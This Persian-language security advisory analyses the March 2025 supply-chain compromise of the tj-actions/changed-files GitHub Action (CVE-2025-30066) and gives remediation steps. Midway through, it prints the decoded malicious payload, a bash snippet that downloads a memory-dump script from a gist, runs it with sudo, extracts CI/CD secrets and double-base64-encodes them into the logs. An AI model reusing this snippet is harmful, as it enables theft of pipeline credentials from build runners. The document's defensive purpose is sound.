ابزار محبوب tj-actions/changed-files در GitHub Action قبل از 14 مارس 2025 دچار آلودگی شد و یک بدافزار را به همراه داشته که باعث افشای اطلاعات محرمانه در لاگهای مخزنهای عمومی شده است. این حمله بهعنوان یک آسیبپذیری نیز ثبت شده و شناسه CVE-2025-30066 به آن اختصاص یافته است.
هنوز مشخص نیست این حمله دقیقا چگونه اتفاق افتاده، چه کسی پشت آن بوده و هدف اصلی آن چه بوده است. تیم پشتیبانی tj-actions تأیید کرده که مهاجم به نوعی یک توکن دسترسی شخصی یا PAT را که توسط یک بات برای مدیریت مخزن استفاده میشد، به خطر انداخته است.
کامیتهای مخرب در مخزن tj-actions/changed-files حذف شده و اسکریپتی که توسط این حمله اجرا میشد نیز از GitHub Gist پاک شده است. این اقدامات موجب جلوگیری از سوءاستفادهی بیشتر شده است، اما خطر افشای اطلاعات محرمانهای که قبلاً در لاگها ذخیره شدهاند، همچنان وجود دارد.
بنابراین، انجام اقدامات امنیتی فوری برای جلوگیری از سرقت اطلاعات و به خطر افتادنCI/CD ضروری است. با این حال، این خطر بیشتر متوجه مخزنهای عمومی است که لاگهای آنها برای همه قابل مشاهده است. در مقابل، تأثیر این حمله روی مخزنهای خصوصی محدودتر است.

حمله به tj-actions/changed-files چگونه انجام شد؟
تحقیقات همچنان ادامه دارد، اما بررسیهای اولیه نشان میدهد که مهاجم به نوعی، دسترسی لازم برای تغییر تگها و قرار دادن کد مخرب در یک فورک(fork) از مخزن اصلی را به دست آورده است. در این حمله، مهاجم خود را بهجای Renovate Bot جا زده، اما چون GitHub تأییدیهای برای آن کامیت صادر نکرده، نشان میدهد که کاربر واقعی Renovate Bot به خطر نیفتاده است.

مراحل این حمله به شرح زیر است:
- دسترسی به توکن شخصی (PAT) مخرب:
مهاجمان موفق شدند توکن دسترسی شخصی (PAT) مرتبط با حساب @tj-actions-bot را که توسط مدیر اصلی پروژه برای مدیریت مخزن استفاده میشد، به دست آورند. هنوز مشخص نیست که چگونه این توکن به خطر افتاده است. - ایجاد کامیت مخرب:
مهاجمان یک کامیت حاوی کد مخرب را در خارج از مخزن اصلی ایجاد کردند. سپس این کامیت را برای اجرای کد مخرب در مخزن tj-actions/changed-files وارد کردند.

کد مخرب رمزگشایی شده:
if [[ "$OSTYPE" == "linux-gnu" ]]; then
B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
echo $B64_BLOB
else
exit 0
fi
- بروزرسانی تگهای نسخهها:
پس از ایجاد کد مخرب، مهاجمان تمام تگهای نسخههای موجود در مخزن را تغییر داده و آنها را به کامیت مخرب ارجاع دادند. این تغییر باعث شد که اکشن tj-actions/changed-files هنگام اجرا، کد مخرب مهاجمان را اجرا کند. - اجرای کد مخرب در CI/CD:
هر مخزنی که از این اکشن استفاده میکرد، بهطور ناخواسته کد مخرب را اجرا میکرد. این کد، حافظه فرآیند Runner Worker را بررسی کرده و متغیرهای مخفی (secrets) CI/CD را از آن استخراج میکرد. - نمایش Secrets در لاگهای عمومی:
کد مخرب دادههای حساس (مانند توکنهای دسترسی) را در لاگهای GitHub Actions چاپ میکرد. در مخازن عمومی، این لاگها برای همه قابل مشاهده بودند، که منجر به افشای اطلاعات حساس شد. - عدم انتقال دادهها به سرور خارجی:
بررسیها نشان میدهند که اگرچه اطلاعات حساس در لاگها قرار گرفتهاند، اما شواهدی مبنی بر ارسال آنها به سرور خارجی وجود ندارد. این بدان معناست که مهاجمان ممکن است تنها به اطلاعاتی که در لاگهای عمومی نمایش داده شده دسترسی پیدا کرده باشند.
با حذف GitHub Gist میزبان اسکریپت مخرب و همچنین حذف مخزن آلوده در تاریخ 15 مارس 2025، خطر سوءاستفادهی بیشتر کاهش یافته است. اما همچنان احتمال ذخیره شدن این اکشن در حافظهی کش و ادامهی افشای اطلاعات وجود دارد، بنابراین اقدامات امنیتی کاربران همچنان ضروری است.
چه محصولاتی تحت تأثیر قرار گرفتهاند؟
تمام نسخههای tj-actions/changed-files تحت تاثیر قرار گرفتهاند، زیرا مهاجم توانسته است آن ها را با کد مخرب آلوده کند. کاربران نسخههای هش پین شده(Hash-Pinned) تحت تأثیر قرار نمیگیرند، مگر اینکه در بازهی زمانی حمله، هش جدیدی دریافت کرده باشند.
خطر برای محیطهای ابری چیست؟
در workflowهایی که برای استقرار در محیطهای عملیاتی استفاده میشوند، اطلاعات محرمانهی فاششده ممکن است شامل کلیدهای دسترسی به محیطهای ابری و همچنین مخزنهای داخلی کد منبع باشند.
اکسپلویت های موجود
تیم Wiz در جریان جستجوی تهدیدات مرتبط با این حمله، نمونههایی از اجرای اسکریپت برای استخراج اطلاعات محرمانه را شناسایی کرده است. همچنین، چندین مخزن عمومی از شرکتهای بزرگ آلوده شدهاند که در آنها اطلاعاتی مانند کلیدهای AWS، GitHub PATs، توکنهای npm و کلیدهای خصوصی RSA در لاگهای workflowها فاش شدهاند.
در 17 مارس 2025، تیم Wiz یک GitHub Action آلودهی دیگر به نام reviewdog/action-setup را شناسایی کرده است که ممکن است در آلودگی tj-actions/changed-files نقش داشته باشد.
اقدامات امنیتی پیشنهادی
- بررسی مخزنهای سازمان: از طریق جستجوی GitHub بررسی کنید که آیا مخزنهای شما حاوی این GitHub Action آلوده هستند یا خیر.
اگر متوجه شدید مخزن شما تحت تاثیر این حمله قرار گرفته است، برای بررسی آلودگی، به قسمت Actions رفته و روی view runs کلیک کنید. لاگهای مربوط به اجرای workflowها را بررسی کنید و بهدنبال Base64 دوبار رمزگذاریشده باشید. اگر چنین رشتههایی مشاهده شدند، احتمال افشای اطلاعات وجود دارد.
- مدیریت آسیبپذیری: اگر مخزن عمومی است، اطلاعات لو رفته فوراً تغییر داده شوند. اگر مخزن خصوصی است، احتمالاً اطلاعات بهصورت عمومی فاش نشدهاند، اما همچنان تغییر رمزها توصیه میشود.
- حذف ردپاهای مخرب: فوراً استفاده از tj-actions/changed-files را متوقف کرده و جایگزینی امن برای آن بیابید. این اکشن را از تمام شاخههای مخزن خود(نه فقط شاخهی اصلی) حذف کنید. حذف لاگهای مربوط به اجراهای آلوده، پس از بررسی آنها نیز توصیه میشود.
- پیشگیری از حملات زنجیره تأمین در آینده: GitHub Actions را به هش کامیت خاص پین کنید تا از تغییرات ناخواسته جلوگیری شود. اجرای workflowها را برای فعالیتهای مشکوک بررسی کنید. لیست مجاز GitHub Actions را تنظیم کنید تا از اجرای اکشنهای غیرمجاز جلوگیری شود.